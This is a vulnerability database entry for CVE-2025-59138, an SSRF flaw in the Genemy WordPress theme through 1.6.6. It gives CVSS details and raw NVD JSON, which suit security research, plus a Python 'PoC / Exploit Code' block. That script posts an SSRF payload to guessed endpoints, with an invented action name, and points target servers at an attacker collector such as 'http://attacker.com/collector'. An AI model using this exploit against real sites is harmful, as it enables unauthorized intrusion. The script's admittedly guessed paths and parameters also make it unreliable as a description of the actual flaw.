Security Vulnerability Report
中文
CVE-2025-59138 CVSS 4.9 MEDIUM

CVE-2025-59138

Published: 2025-12-31 17:15:45
Last Modified: 2026-04-23 15:34:03

Description

Server-Side Request Forgery (SSRF) vulnerability in Jthemes Genemy genemy allows Server Side Request Forgery.This issue affects Genemy: from n/a through <= 1.6.6.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Genemy主题 <= 1.6.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def exploit_ssrf(target_url, attacker_server): """ PoC for CVE-2025-59138 - SSRF in Genemy Theme This PoC demonstrates how an attacker can trigger the vulnerable endpoint to make the target server request arbitrary URLs. Args: target_url: Base URL of the WordPress site with vulnerable Genemy theme attacker_server: URL controlled by attacker to receive SSRF requests """ # Vulnerable endpoint - typical SSRF trigger point # Note: Actual vulnerable parameter/path may vary based on theme version vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/themes/genemy/includes/functions.php', '/wp-content/themes/genemy/framework/request.php' ] # SSRF payload - attacker-controlled URL ssrf_payload = { 'action': 'genemy_ssrf_trigger', # Example action name 'url': attacker_server, 'param': 'genemy_ajax_nonce' # May need valid nonce } print(f'[*] Targeting: {target_url}') print(f'[*] Attacker server: {attacker_server}') for endpoint in vulnerable_endpoints: full_url = target_url + endpoint try: response = requests.post(full_url, data=ssrf_payload, timeout=10) print(f'[+] Sent request to {endpoint}') print(f' Status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error targeting {endpoint}: {e}') if __name__ == '__main__': if len(sys.argv) != 3: print('Usage: python exploit_ssrf.py <target_url> <attacker_server>') print('Example: python exploit_ssrf.py http://victim.com http://attacker.com/collector') sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] exploit_ssrf(target, attacker)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59138", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:44.927", "lastModified": "2026-04-23T15:34:03.083", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Jthemes Genemy genemy allows Server Side Request Forgery.This issue affects Genemy: from n/a through <= 1.6.6."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en Jthemes Genemy permite la falsificación de petición del lado del servidor. Este problema afecta a Genemy: desde n/a hasta 1.6.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/genemy/vulnerability/wordpress-genemy-theme-1-6-6-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}